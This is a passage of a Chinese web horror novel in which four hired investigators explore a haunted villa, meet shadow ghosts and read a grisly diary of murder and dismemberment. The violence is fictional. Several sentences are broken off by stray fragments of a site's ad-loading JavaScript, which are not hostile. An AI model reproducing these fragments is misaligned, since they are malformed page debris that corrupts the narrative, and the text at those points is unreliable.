齐晨疑惑地靠在椅子上,头脑混沌地打了个呵欠。他身体疲惫,仿佛刚做完重活,四肢沉甸甸地发酸,思维也有些迟滞。 宽大的幕布上,男主角背对着镜头坐在观众席的第一排,正在看一部恐怖片。这种在电影中看电影的体验颇为新奇,齐晨索性不再多想,边休息边看起电影来。 但慢慢的,他却皱起了眉。 电影中的男主角穿着黑T恤,头发微卷,稍有些胖,背影十分眼熟……是谁呢? 似乎察觉到了他的疑惑,男主角缓缓地转过头,幽蓝的光将他的侧脸映照得阴森可怖。 他咧开嘴,冲着镜头露出一个邪恶的笑容。 齐晨不可置信地瞪大眼,直勾勾地盯着幕布——这怎么可能?为什么会这样! 电影中的男主角,赫然就是他自己! 5. 捉迷藏(五) 幽暗的室内,齐晨盯着电影里的自己,惊愕的表情逐渐变成了恐惧。 他想起身逃离这个诡异的地方,可四肢却哆哆嗦嗦的,使不上半点力气。 电影中的“齐晨”无意恐吓他,很快就将头转了回去,继续看着面前的大银幕,上面正在放映一部恐怖片。 阴森的别墅里,独自在家的小男孩总能在地下室中看到一个长发女人。年幼的孩子不知害怕,以为那是玩伴,兴冲冲地与女人玩捉迷藏,结果被找到后当场惨死,鲜血染红了半面墙壁。 小男孩死后化身厉鬼,继续重复着这个游戏。可别墅中再无他人,他找了一圈无果后,猛地看向镜头,怨毒地盯着观众席上的“齐晨”。 齐晨惊恐地瞪大眼,只见半边头颅干瘪塌陷的小男孩缓缓凑近镜头,突然从大银幕里伸出一只手!他一点点跨出来,拖着一条血路走到“齐晨”身边,抬手掐住他的脖子,“咔嚓”一下拧断了他的头! 齐晨吓得脸色煞白,双唇不停颤抖。他想大声呼救,喉咙里却只能发出含糊不清的咕噜声。 为、为什么?为什么他要遇到这种可怕的事?这到底是哪儿?谁能过来救救他! 电影里,“齐晨”死掉后,小男孩的身影就渐渐淡化,最终消失。新一轮的捉迷藏开始,没了头的“齐晨”摇摇晃晃地站起来,转身走向镜头,血淋淋的身体越来越近,抬腿迈出幕布…… “啊!救命啊——” 齐晨剧烈抽搐了一下,猛然睁开眼,大口喘着粗气。 四周一片漆黑,手电不知什么时候灭掉了。他虚弱地抹了把额头,指尖冰凉,浑身早被冷汗浸透了。 原来是个梦啊…… 他轻轻呼出一口气,重新打开手电,双腿发颤地站起来,想尽快离开这个鬼地方。哪知刚踏出一步,脚下忽然踢到了什么,那东西骨碌碌地翻滚了几圈才停下。 齐晨神经质地颤抖一下,谨慎地后退两步,举起手电朝下照去—— “齐晨”沾满鲜血的人头赫然躺在脚边,唇角挂着邪恶的笑,正直勾勾地盯着他! 原来、原来刚刚那些不是梦,而是真实发生的! 齐晨双腿一软,重重跌回了座位上,手电“啪嗒”一下摔落到地,再次熄灭了。 黑暗中爆发出一声惨烈的尖叫: “啊啊啊啊——” …… 别墅的2层有2间卧房、1间玩具房,附带一个聊天吃东西的小厅。王彬和徐凯一前一后地走在楼梯上,确定洛晚和齐晨彻底走远后,王彬低声开口:“你和洛晚关系不错?” “没有。”徐凯下意识否认:“我们只不过一起完成过一次委托……” “你心里有数就好。”王彬放慢脚步与他并肩:“你要知道,你我仰仗黄家生活,而她却是被黄家胁迫的。我们立场不同,存在着天然的对立,即便眼下在合作,也得暗自防范。” 徐凯沉默地点点头。 黄家传承久远,是锦安城中的望族,据说古时曾有族人官拜丞相,民国年间大力发展轻工业,截至现今已经形成了一个规模庞大的财团,旗下产业涉及房地产、餐饮、影视等诸多领域,是商界的一方巨头。 黄氏族人大多在五六十年代移居海外,锦安城中目前只留有一脉旁支,但即便是旁支也不容小觑,在这个没落的小城中,说是只手遮天也不为过。 王彬和徐凯正是受雇于他们,依约赚取阳寿。 “你也不要有心理负担,熬过5次就结束了。”王彬拍拍徐凯的肩:“咱们已经成功了一半,绝对不能倒在这里!” “嗯,我都懂。”徐凯打起精神,举高手电环顾身周:“我们进房间看看吧,走廊上根本无处躲藏……唉,真不知道一会儿该怎么办。” 说着,他推开离自己最近的一扇门,干燥的门轴发出令人牙酸的“吱嘎”声,一阵灰尘扑簌簌地落下来。 这是一间不算大的卧室,房间中央是一张大床,靠墙摆着两个储物柜,玻璃落地门外延伸出一块小露台,露台上放着一张茶几和两个藤椅。 徐凯滑开玻璃门,阴冷的夜风立刻灌入室内。今夜月光暗淡,他站在露台上俯瞰着荒芜的前院:“这里看上去毫无异样。” “重要的线索肯定不会大喇喇地摆在明面上。”王彬挨个打开衣柜:“其实,我认为最危险的地方是地下室。” “为什么?” “白家幼子当初是在地下室中失足摔死的,可就像你说的,小孩子不会主动靠近那里,更何况还是半夜——”衣柜里出乎意料地挂着几件女士大衣,王彬愣了愣:“所以,那里应该有什么在‘召唤’他。” 徐凯皱起眉:“所以你让他俩去了地下室?” “不然你要去吗?”王彬不屑地嗤笑一声:“怎么,你觉得不公平,想在这里替他们主持正义?” 徐凯张了一下嘴,最终顺从地走回他身边:“有什么我能帮忙的?” “去检查一下抽屉……”王彬侧过头,瞥到地上的影子后,目光忽然顿住了。 他终于明白之前在一楼客厅时,洛晚在看什么了。 明亮的手电在墙壁上投下了三道影子,可他们明明只有两个人! 多出来的那个……是谁? 不等他想清楚,多出来的黑影突然抬起手,缓缓搭上了身前人的肩…… 王彬猛地推了徐凯一把:“快跑!分开逃!”话没说完,就当先闯了出去。 徐凯一愣,身体先于大脑跑出房间,向着他的反方向逃去。 …… 影子依附光而存在,王彬一出房间就关掉手电,一口气跑上了顶层。 他没来过三楼,不了解格局,拐过转角后就紧贴着墙壁不敢乱动。 心脏紧张地怦怦乱跳,他忍不住攥紧双手胡思乱想:委托分明还没开始,为什么这么早就会出现?这就是第四次委托的难度吗? 它追过来了吗?那可是鬼啊……只关掉手电,真的能摆脱吗? ——不,不能再胡思乱想、自己吓自己了! (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 王彬用力咬了下舌尖,双手发颤地打开手电,看到墙壁上只有一道影子后庆幸地松了口气,这才有心思打量周围。 三楼有1间书房、2间卧房和1个面积相当大的阳光房,天光漏过玻璃顶,将阳光房中的摇椅、木桌、铁皮柜和一架小秋千映照得半明半暗。小秋千上放着个缺了一只眼珠的兔子玩偶,王彬走过去拿起它,沾了一手厚厚的灰。 “哐当”“哐当”“哐当”! 不远处的铁皮柜突然爆发出剧烈的撞击声,好像有什么在里面奋力挣扎。王彬一惊,放下玩偶,警惕地后退半步。 “哐当”“哐当”! 似乎是为了吸引他的注意,撞击声越来越大,柜子甚至在轻微地摇晃。王彬吞吞口水,壮着胆子走过去,一手举高手电,另一手则紧紧攥了下拳,接着一把拉开没上锁的柜门—— 空空如也。 撞击声在一瞬间消失,铁皮柜稳稳地立在原地,刚刚的一切好似都是幻觉。 王彬皱起眉,不死心地上上下下又检查了几遍,铁皮反射着模糊的光,不大的柜子一眼就能看到底。 “吱呀”“吱呀”“吱呀”…… 身侧的秋千忽然无风自动,弧度越来越大,摇椅也慢慢摇晃起来,仿佛上面正坐着个看不见的人。意识到是那东西在戏弄自己,王彬恐惧地后退几步,“砰”地关紧铁皮柜,转身就跑。 他不敢回2楼,惊惶地穿过走廊,躲入了尽头的房间中。 反身靠在门板上,他紧张地屏住呼吸倾听着外面的动静,良久后确定没有东西追过来,这才闭起眼睛略微放松。 成功完成了3次委托的王彬不是没遇到过灵异事件,但在大家的认知中,非委托时间是绝对安全的,他没想到这条规则居然会打破…… 这意味着他们将更加危险,时时刻刻要提心吊胆,并且毫无自保之力! 但现在不是研究规则的时候,王彬定定神,举起手电环视四周,发现自己跑进了卧室里。这间卧室面积不大,门边摆着一个六层木质大书架,对面是一张单人床,侧面墙壁上开了扇门,与隔壁的书房相连,陈设简单,一目了然。 房间里没有窗,床上也光秃秃的。王彬打开书柜,只见里面挤满了黑底白字、封面上绘有恶鬼的恐怖小说。 一本厚重的红色相册突兀地夹在其中,格外显眼。 他打开相册,照片已经泛黄,大多是白家五口人的合影。王彬一页页向后翻,在浏览到其中的某一张时,蓦地顿住了。 这是一张抓拍,刚会走路的孩子摇摇晃晃地站在地毯上,身后是一面大镜子。镜子中本该映照出孩子的背影,可实际上却是个没有眼白、满脸血渍的长发女鬼! 王彬手腕一颤,抑制着惊惧抽出这张照片把它倒扣起来,却意外地看到照片背面写着字: ——“我”。 他一愣,接着又抽出其他照片,但其他照片的背面却干干净净的,一个字符也没有。 这是巧合吗? 6. 捉迷藏(六) 狭小的卧室中,王彬思考无果,只好先把它放到一边。他继续翻动相册,很快又找出几张拍摄到鬼脸的照片。 他将所有灵异照片摆到一起,一一倒扣过来,果然,每一张的背面都写着字: “我”“后”“你”“在”“就”“身”…… ——“我就在你身后”! 一股寒意自脚底升起,王彬无端打个冷颤。他紧盯着墙壁上自己的影子,做足心理准备后,猛地转过身—— 手电划出一道明亮的光,蒙着灰尘的床板上光秃秃的,一切毫无异样。 王彬后退几步靠到墙壁上,神经质地又照了照四周,确定房间里只有自己后,这才放松地呼出一口气。 脸上有些痒,似乎有小飞虫在窸窸窣窣地爬,他伸手一拍,却抓到了一把女人的长发。 怔怔地盯着手中的长发,王彬瞳孔紧缩,竖起手电,慢慢抬起了头…… 一个浑身鲜血、面孔腐烂的女鬼正倒立在屋顶上,与他的脸庞相距不过1寸!她的长发如帘幕般下垂、伸长,逐渐把王彬笼罩其中。 手电“啪”地跌落,王彬惊恐地瞪大眼,双腿发软地滑坐在地: “啊啊啊啊——” …… 2楼。 徐凯躲在长廊尽头的玩具房里,背靠墙壁,放轻呼吸,警惕地注意着外面的动静。 王彬在卧室中喊完“分开逃”后就跑向了楼梯,他没选择,只好躲进这里。直到现在他也不清楚王彬究竟看到了什么,发短信去问,可却如石沉大海,没有回复。 为了完成委托,他们必须找到足够的信息,总在这儿躲着不是办法。徐凯犹豫了一会儿,打开手电,谨慎地环顾室内。 这间玩具房很大,地上铺着彩色的塑胶毯,墙角码着几箱玩具,房间中央搭着一顶房子形状的儿童帐篷。靠墙是一张长书桌,书桌上凌乱地堆放着故事书、彩笔和涂鸦。对面的墙壁上钉着两排木架,上面摆满了塑料玩偶和小多肉。 夜风穿过窗口,将纸张吹得“哗啦啦”乱响。一张涂鸦被吹飞,飘飘悠悠地落到了徐凯脚边。 这是一张抽象的铅笔画,线条粗糙,内容难懂。画面上有三个火柴人,一个站着,两个躺着,此外还有一座房子和一扇窗。 徐凯知道自己不够聪明,因而也没有浪费时间去琢磨它的意思。他站在门口给房间拍了张全景照,接着又给各个角落拍了特写,顺手关上了敞开的窗,最后将书桌上的铅笔画全都摆到一起,拍好后一股脑地发给了洛晚。 徐凯:洛小姐,我和王彬分开了,我正在2楼的玩具房。您看这里有什么不对劲的吗? 徐凯:2楼有2间卧室、1间玩具房和1个小厅。刚才在卧室时,王彬突然大喊“分开逃”……我心里有点慌。 发送完留言后,他坐到矮墩上等待回复,随手翻开了一本童谣。刺目的红色背景下,一张扭曲的人脸赫然闯入眼帘: “有个性格扭曲的男人 走在一条扭曲的路上 手里拿着扭曲的六便士 踏在扭曲的台阶上 他买了一只扭曲的猫 猫捉了一只扭曲的老鼠 他们一起住在扭曲的房子里[注释1]” 徐凯皱起眉,生出一股微妙的惊悚感。他翻过这页,只见纯黑的纸面上印着几行溅有血点的白字: “死了一个男子 一个没出息的男子 懒得动手把他埋在坟墓里 头滚落在床下 四肢散落在房间里[注释2]” “哐当”! 窗户猛然被夜风吹开,吓了徐凯一跳。他长舒一口气,把书放回桌面上,起身锁好窗户,然后犹疑地站在窗台前。 大概是受那怪异的童谣影响,他有些疑神疑鬼。掌心发潮地攥紧手电,徐凯决定去其他房间转转,哪知刚迈出一小步,却听到侧方传来奇怪而规律的闷响: “砰”“砰”“砰”…… 就像是有人在拍皮球,又像是什么东西一下下地砸在地上。 徐凯敏锐地望向声源,顿时绷紧神经,浑身的汗毛都竖了起来。闷响声来自于儿童帐篷,而帐篷正支在房间中央,离他不到5步。 “嗡——嗡——嗡——” 书桌上的手机忽然短促地震动,是洛晚回复了他的消息。徐凯双眼一亮,宛如抓住了救命稻草,一瞬间平添了无限勇气。他借着这股气势大步上前,举高手电,“腾”地掀开帐篷—— 一个圆滚滚的人头骨碌碌地滚到他脚边! 徐凯倒吸一口冷气,惊恐地瞪大眼疾步后退,却被横在身后的矮墩绊倒,“哐当”一下摔坐在地。手电脱手飞出,磕到桌角,灯光颤了几颤,熄灭了。 室内当即陷入一片黑暗。 尾椎骨不知硌到了什么,一动就传来一阵尖锐的刺痛,徐凯脸色煞白,额上渗出一层薄薄的冷汗。他忍着疼痛站起来,拿起手机,打开手机上自带的手电,正好照到那颗人头,对上了他怨毒的脸。 惨白的光线中,男人眼球外凸,脸上布满了缝合的刀痕。他的唇角诡异地上翘,神色怨恨,虽然脸部表情十分逼真,但细看就会发现这是个假人。 徐凯大着胆子走过去,小心翼翼地抓起人头皮球拍了几下,“砰”“砰”“砰”——果然,正是几分钟前听到的闷响。 可玩具房里只有他一个人,那个时候又是谁在拍球呢? 徐凯不敢细想,背脊莫名发凉。他觉得右肩很难受,仿佛有人正用冰冷的指尖一下一下地戳着他的骨头,又痒又麻。 他拍拍肩膀,不敢再多呆,捡起手电筒后边打开微信边朝外走。 洛晚已经回复了他。 洛晚:马上远离玩具房,尽量不要开手电,远离光源,有影子的时候多注意影子。 洛晚:不要长久地呆在一个地方,随时走动更安全。放心吧,委托还没开始,这里目前仍然是阳世,对鬼魂有很大限制,即便真的遇到, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 也不会有生命危险……大概。 洛晚秉性善良,靠着智慧出乎众人意料地完成了2次委托,徐凯对她非常信服。读完留言后,他立即摁灭手机,开门走出了玩具房。 走廊上黑漆漆的,尽头的窄窗透进幽暗的光。徐凯谨遵洛晚的建议,特地避开天光,轻手轻脚地摸进了主卧。 主卧很大,自带卫浴,房间中央是一张大床,落地门外连接着一个独立的阳台,阳台上摆着藤椅、绿植和茶几,布局与之前的卧房类似。 徐凯站在敞开的房门前,打算用夜间模式拍几张照片就离开。他对好焦,正要关闭闪光灯,屏幕上却突然闪出数个红框显示对焦失败。 一般拍摄动态物体时才会出现这种难以对焦的情况。徐凯狐疑地放下手机,重新设置了一下,侧身对着走廊拍了几张照片,一切正常。 看来手机没问题,他重新把摄像头对准主卧,红框却再次混乱地闪现出来。 徐凯的胸口急跳几下,几乎是立刻就断定主卧不对劲。他迅速逃到了楼梯口,但想到即将开始的委托,又强迫自己转了回去。 洛晚说的没错,只要委托没开始,鬼魂就无法伤害阳世的活人。眼下正是收集情报的好时机,起码……起码要搞清主卧里到底藏着什么。 阴暗的走廊里,主卧的房门敞开到最大,好似在勾/引外来者去窥探。徐凯站在房门外,呼吸不自觉地粗重起来。 他鬼使神差地举起手机,对准房间来了个十连拍。“咔嚓”“咔嚓”“咔嚓”……快门声打破死寂,在接连不断的闪光灯中,他隐隐约约地看到床边立着一道黑影。 十连拍很快就结束了,徐凯机械地放下手机,死死盯着空荡荡的卧室。他确定他看到了,他们相距不超过5米……可现在呢?那道影子去了哪儿? 未知总是更令人恐惧,徐凯难以控制地胡思乱想:刚刚他开了闪光灯……难道,那道影子只能在光下显形? 连接着主卧的阳台朝北,夜光暗淡,映照得室内影影绰绰。徐凯的呼吸声越来越大,冷汗顺着脸颊一滴滴滑落。右肩上那种难受的感觉又来了,仿佛有人正用冰冷的指尖一下一下地戳着肩胛,他忍不住侧过身,缓慢而迟疑地举起手电。 看一眼,只看一眼,让他确认一下那道影子的位置……尽管洛晚嘱咐过远离光源,但为了安全,他必须要看清楚那是什么…… 终于在心中说服了自己,徐凯深吸一口气,“啪”地打开了手电…… “啊啊啊啊——!” 楼上忽然传来一声男人的惨叫,他手腕一颤,手电“啪嗒”一下滑落,不知触碰到哪里,灭掉了。 也许是距离太远,惨叫声模糊不清,但徐凯依然认出那是王彬的声音。他四肢冰冷,双腿发软,实在没勇气继续待在这儿,捡起手电后仓皇逃离。 一楼客厅中燃烧的蜡烛不知什么时候全部熄灭了,楼下黑黢黢的,夜风灌入室内,呜咽着怪声。徐凯在楼梯口踌躇了两秒,大步向楼上跑去—— 7. 捉迷藏(七) 徐凯是名退伍军/人,回到家乡锦安后被黄家雇佣,成为王彬的保镖,意外卷入了怨灵的世界。对他来说,委托第一,王彬第二,即便知道前方有危险,他也不能扔下王彬独自逃走。 更何况,楼下未必就比楼上安全。 三楼的格局一目了然,走廊的右侧是玻璃顶的阳光房,左侧连接着三个房间。徐凯不敢高声喊叫,打开手电挨个推门环视一遭,终于在尽头的卧室里找到了昏迷的王彬。 他倒在书柜旁,脸色煞白,满头冷汗,双眼紧闭,但眼皮下的眼球却不停乱转。徐凯扶起他靠到墙边,边喊他的名字边拍他的脸,王彬却晃着脑袋连连挣扎,喉咙里嘶喊出微弱的“咯咯”声。 ——他这是被噩梦魇住了。 徐凯狠掐他的人中,许久后,王彬浑身一抖,猛地睁开了眼: “别过来、走开……鬼啊!鬼!” 他惊惶地推开徐凯,手脚并用地往后蹭,不停向书柜和墙壁的夹角里缩。徐凯没防备,被他推得跌坐在地,不小心碰到尾椎骨,顿时一阵钻心的疼。 “嘶——” 他倒抽一口冷气,坐在地上缓了半天才撑着双臂站起来。王彬此时也冷静了一些,他慌乱地打量四周,看到徐凯靠近后颤抖了几下,却没再反抗躲避。 “你看清楚,我,徐凯。”徐凯将手电对准自己,声音低沉,一字一顿:“现在清醒了吗?” 王彬怔怔地盯着他,几秒后迟钝地点点头:“对,没错……我们正在白家公馆里,委托马上要开始了,而这里……” 他狠狠咬了下舌尖,扶着墙壁站起来:“这里,有鬼!” …… 别墅的-2层不大,目测只有40平,靠墙摆着一排铁皮柜,此外还有2张蒙着灰尘的方桌、1个绒布沙发和几袋生满虫子的米面。 洛晚夹着日记,举高手电,扭开正对着楼梯的防盗门,阴冷的夜风立即灌入室内。与她想的一样,门外是地下停车场,空荡荡的,出口盘旋而上,不知通向哪里。 她锁好门,接着逐个打开铁皮柜,却发觉铁皮柜都轻飘飘的,里面空空如也。 白家幼子当年正是莫名其妙地摔死在这儿,洛晚认为这里一定隐藏着重要信息,可她找遍了所有角落,结果却毫无异样。 与其他地方相比,这里正常得甚至不像是凶宅。 但“正常”在白家公馆中恰恰就是最不正常的。 洛晚的脑中快速划过了什么,可惜一时无法抓住。时间还早,她索性靠着墙壁,继续阅读日记: “2002年7月14日 家里一定还藏着其他人,一个谁都没见过的家伙。我确定。 每当我在厨房做蛋糕、在花园里晒太阳、在顶楼看书……在一切不封闭的空间中独处时,我都会感觉到那束不怀好意的目光。 那一定是个男人,我曾经在客厅的玻璃上看到过他身影的反光,但回过头后却空无一人。林妈和阿志都认为我疯了,林妈今天甚至提出了辞职,理由是她不想伺候一个疑神疑鬼的孕妇。 想走的人留不住,我给她包了个大红包。从开始创业到现在,林妈为我和阿志打理生活,给我们提供了诸多帮助。她不仅是保姆,更是我们的家人。我从没想过她会主动离开。 我一直将她送到大门口,依依不舍地与她道别。林妈看上去同样有些感慨,但在我出言挽留后,她辞职的态度却相当坚决。 她隐晦地对我说,她觉得这幢别墅里闹鬼。 真是荒谬,我是不会信的。 2002年7月21日 阿志昨天去国外出差,至少要半个月才会回来。我本想和他一起去,但怀孕的月份尚浅,而且这一胎不太稳,医生建议我在家静养。 我要独自在别墅里渡过半个月。 那束恶意的目光一日比一日强烈,在镜子里、玻璃上、瓷砖的反光中,我数次瞧见了他的身影。 那是个高瘦的男人,看起来不算强壮,穿着一身染血的格子衫,手上提着一把杀猪的砍刀。有血沿着刀刃滴落,滴滴答答地染红了地毯。 我确信他是真实存在的,每每却只能看到模糊的虚影。没有人相信我,医生建议我多出去走走,并且含蓄地表示总憋在家里精神会出问题。 难道,那些真的全是我的幻觉?” 日记到这里已经读完了五分之四,洛晚整理着脑中的思路,慢慢皱起了眉。 自从进入白家公馆后,他们在影碟和倒扣的画作中见过两次具象的女鬼,可日记中记录的虚影却是男人。这说明,这幢别墅里至少有两个鬼…… “嗡——” 手机忽然震动,洛晚解锁后看到了徐凯的消息。 徐凯:[图片][图片][图片][图片][图片][图片] 徐凯:洛小姐,我和王彬分开了,我正在2楼的玩具房。您看这里有什么不对劲的吗? 洛晚放大图片,看到书桌上抽象的铅笔画后,瞬间就理解了它们的内容。 他们只有四个人,她之前却在客厅的墙壁上看到了五道黑影,这些铅笔画也是如此。她没猜错的话,作者笔下站着的火柴人代表“人”,躺着的火柴人代表“影子”,而每幅画中躺着的火柴人都比站着的要多一个,也就是说…… 手机再次震动,徐凯的留言证实了她的猜想。 徐凯:2楼有2间卧室、1间玩具房和1个小厅。刚才在卧室时,王彬突然大喊“分开逃”……我心里有点慌。 ——因为王彬也发现了那道多出的黑影,所以才决定分开,目的是分散危险! 人在着急时会头脑发热,容易忽略重要的细节。洛晚没有立时回复,而是重新放大图片,一张一张地仔细观察,很快又注意到一幅特殊的铅笔画。 它的线条粗糙,内容简单,画面上有一站二卧三个火柴人,此外还有一座房子和一扇窗,让人分不出这到底是室内还是室外。 洛晚将它与玩具房的全景照比对,有九成的把握确定,这幅画的背景正是徐凯所在的玩具房 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。 在徐凯的照片中,玩具房的中央有一顶房子形状的儿童帐篷,帐篷正后方的墙壁上有一扇窗,恰好能与铅笔画中的房子和窗户相对应。如果她的推断无误,就连徐凯的站位应该也与铅笔画中的火柴人相同。 这是一幅带有暗示与预警意味的画,是鬼魂给予委托者的线索,但徐凯却没察觉。 不是所有人都能接受身后跟着一个恶鬼的事实,洛晚在对话框里删删改改,最终保守地回复:马上远离玩具房,尽量不要开手电,远离光源,有影子的时候多注意影子。 这是在不引起徐凯的恐慌下,她能想到的最合适的提醒。 犹豫几秒后,洛晚又罕见地补充了一点个人见解:不要长久地呆在一个地方,随时走动更安全。放心吧,委托还没开始,这里目前仍然是阳世,对鬼魂有很大限制,即便真的遇到,也不会有生命危险。 她盯着对话框检查了两遍,在发送前,又把结尾改了改: “不会有生命危险……大概。” …… 3楼的卧室里。 王彬总算恢复了理智,他打开手电四处环顾,徐凯则轻轻锁上了门。 “洛晚给我留了言,说尽量不要开手电,远离光源。”他关掉自己的手电,仅以手机屏幕的亮光照明:“对了,你之前在2楼看到了什么?为什么忽然喊‘分开逃’?” 王彬下意识看向地面,“我们在卧室时,我看到了3道影子。” 徐凯一愣:“……3道影子?” “没错,洛晚肯定也看到了……难怪她在客厅时盯着墙壁发呆!”王彬恨恨地咬着牙,同时关掉手电,掏出了手机:“她说‘远离光源’,八成是为了避开影子……多的我也不清楚,但你要留心,一旦看到多余的影子,我们就立刻分开!” 在无法确定影子跟在谁身后的情况下,其实不应该聚在一起,可王彬刚刚吓破了胆,眼下他宁可冒着被影子跟上的风险,也不想再单独行动。 徐凯对王彬的安排一向没有异议。他打开相册,翻出在2楼拍的照片:“呶,你看,这是……” 屏幕上赫然出现一张血淋淋的人脸,徐凯吓得手腕一颤,手机“啪”地掉落在地。 “这……我拍照的时候是没有的,那间主卧空无一人,我特地检查过!”徐凯惶恐地望着王彬,后者的脸孔在手机的映照下阴惨惨的,乍一看不像是活人。 王彬直面过更恐怖的东西,此刻倒显得十分镇定。他捡起手机,认真端详着主卧中的十连拍,只见第一张照片的床边有个虚影,之后虚影越来越近、越来越清晰,在最后的照片中,他的脸孔完全贴在镜头上,微垂着头,白眼上翻,神色怨毒,隔着屏幕都能让人感受到深刻的恶意。 “竟然是个男人……”王彬把手机还给徐凯:“还记得刚进来时,我们四人看的那盘影碟吗?那里的……明显是个女人。” 徐凯不明白他的意思:“所以呢?” “所以——这幢别墅中可能不只有一个鬼。” 8. 捉迷藏(八) ——委托中居然还会出现多个鬼魂?! 徐凯不可置信地瞪大眼,心底涌出巨大的恐慌:“那我们要怎么办?” 王彬耸耸肩,神色平淡而麻木:“努力活下去。” 委托开始后,指定地点会与阴世相通,活人不再受阳世规则的保护,区域内的所有生灵都将遭遇亡者的诅咒。他们无法反击,无路可退,想活下去,必须要不断逃亡。 徐凯叹口气,绝望压倒恐惧,再拿起手机时,居然没多少害怕的感觉。 屏幕上的男人眼白多、瞳仁少,沾满鲜血的脸上蜿蜒着狰狞的刀痕,唇角却诡异地上翘。 徐凯强忍不适盯着他的脸:“我好像见过……对了,就在楼下的玩具房!里面有个人头皮球,那个皮球的脸与这张一样,不过刀痕全用黑线缝起来了。” “人头皮球?你详细说说。” “就在我们分开后……” …… 地下室里。 洛晚背靠墙壁,打算一口气把日记读完。 “2002年8月7日 阿志还没回来,我在电话里与他吵了起来。 我想看到他,立刻、马上!可他却说业务还没处理完……呵,业务业务业务,满脑子都是业务,他为什么不去死? 最终我们不欢而散。他指责我无理取闹,我则嘲讽他,最好永远都别回来。 我并不是没人陪伴的。 他离我越来越近了。每当太阳落山后,他都会站在月光照不到的角落,长久地凝视着我。 尽管我从没见过他,但我确信他存在。有时我甚至会和他聊聊天,然而他从不回应。 美中不足的是,我有些饿,毕竟已经2天没吃东西了。 没有腿果然还是不太方便。 2002年8月13日 这一天终于要到了,我总算快解脱了。 他想和我玩个游戏。 他把我的孩子提前剖出,藏到了别墅的某个角落。只要我能在他找到我之前找到我的孩子,这场游戏就算我胜利。 可惜我的四肢全被砍断,行动有些迟缓,但我是不会轻易放弃的。 为了养精蓄锐,我从大腿上割下一块肉,烤熟后勉强填饱了肚子。 我一定要赢。 2002年8月15日 我输了。 我在别墅里爬了两天,从顶层的楼梯上滚落,皮肉被磨破,舌头被磕断,最后被他轻松地用刀尖挑了起来。 他砍掉我的头,剁碎我的血肉,将我砌进墙壁,就在阿志和林妈的身边。 真好,一家人整整齐齐,我们永远都不会再分开了。 ——除了我的孩子。 我的孩子在哪儿? 我不知道,但我会一直找下去。 直到怨恨消弭,直到诅咒结束,直到再也没有生者来玩这个游戏。” 日记到此就结束了。 洛晚合起软皮本,周身生出一股难以言明的悚然。 写下这本日记的显然不是被歹徒杀死的白家女主人,她猜测作者应该是前任或更久前的屋主。日记的前半段很正常,后半段却荒谬恐怖,不通逻辑,关于这点有两个可能: 1.作者患上了某种容易让人产生幻觉的精神疾病,杀死老公与保姆后自杀; 2.作者被杀害后变成了鬼魂,而这本日记,则是鬼魂留给他们的线索…… “哐当”! 身边的铁皮柜突然剧烈晃动了几下。洛晚一惊,警觉地退开,举高手电照过去,只见柜门的缝隙中延伸出一缕缕乌黑的头发。它们仿佛是有生命的藤蔓,见光即长,一眨眼的功夫就伸展到脚下,企图勒住她的脚踝。 洛晚快速向后撤,关掉手电转身就朝楼上跑。一楼客厅的面积大、出口多,她想一口气逃上去,可长发摩擦地面发出“簌簌”的碎响,速度明显比她快。洛晚计算着双方的距离,跑上-1层后猛地转弯,迅速躲进影音室,“砰”地关上了门。 头发并没跟进来。 似乎暂时安全了。 影音室里黑漆漆的,关上门后就是一块密闭的空间。洛晚轻手轻脚地往里走,在绝对的寂静中,耳畔满是自己粗重的呼吸声。 ——不对,还有一个人! 她屏住呼吸捂紧口鼻,清晰地听到不远处传来“唉”“唉”的呻/吟。 洛晚犹豫了几秒,打开手电照过去,却见齐晨靠在按摩椅上,表情扭曲,满头大汗。 他们来到-1层后就分为了两路,没想到齐晨竟然会在这儿睡觉……洛晚上前去推他肩膀:“齐晨,醒醒,该起来了!” “不、不……别过来……” 齐晨虚弱地挣扎着,想要扭头,身体却像被禁锢似的无法动弹。洛晚皱起眉,掐住他的人中,齐晨剧烈地颤抖几下,总算是慢慢睁开了眼。 “人头、电影,不……”他晃着脑袋,眯起眼睛躲开手电刺目的光:“这是哪儿?” “白家公馆-1层的影音室。”洛晚举高手电环顾四周:“你在这里睡着了。” “影音室……对了,我刚刚在这里看电影,然后在电影里看到了自己!” “你在这里看电影?”洛晚错愕地转过头:“可这栋别墅荒废已久,不通水电……你做梦了?” 齐晨点点头,又摇摇头,迷茫中掺杂着惊恐,声音嘶哑:“我梦到自己在梦中醒来……梦里套着梦还套着梦,我也分不清哪个是梦、哪个是现实。” 洛晚看了眼时间,23:18。她坐到齐晨身边,耐心地询问:“你梦到了什么?” “鬼……”齐晨不敢回忆具体细节,深吸一口气,使劲拍拍脸:“我记得也不太清楚,算了,不提这个了,晦气!” “一切反常也许都是鬼魂给予的线索。”洛晚把日记展示给他看:“呶,我找到了这个,里面记录着诅咒的源头。” “……其实我也没骗你,我的记忆的确模模糊糊的。”齐晨挠挠头,羞愧地叹口气,“刚才被你叫醒后,有关梦的记忆就变淡了,现在我只记得自己做了个噩梦……好像在这间影音室里看了一部恐怖片。” “好吧。”洛晚无奈地揉揉额角:“如果又想起了什么,请务必要告诉我。” …… 顶楼。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 徐凯讲完自己的经历后,王彬陷入了沉思。 “我遇到的是个女鬼,就在那里——”他指指书柜和散落在地面的相册:“当时她倒立在屋顶,我一抬头……” “好了!”徐凯截断他的话头,语声低弱:“我大概能想象到。我原本以为委托开始后它们才会出现……” “我也是。”王彬后怕地攥紧手机,重新摁亮屏幕:“说到底,咱们对委托的了解还是太少了。黄家肯定隐瞒着什么重要的秘密。” 徐凯沉默地点点头。这种层面的事不是他一个保镖能过问的,他对此也不关心。 只要能活下去,他只想活下去。 书房很大,靠墙摆着三面大书柜,堆叠的杂物遮住了窗户,一丝光也透不进。徐凯和王彬穿过卧室,一前一后地走进书房,却被横在空地上的铁皮柜和椅子挡住了路。手机屏幕的光线太弱,徐凯不得已打开了手电。 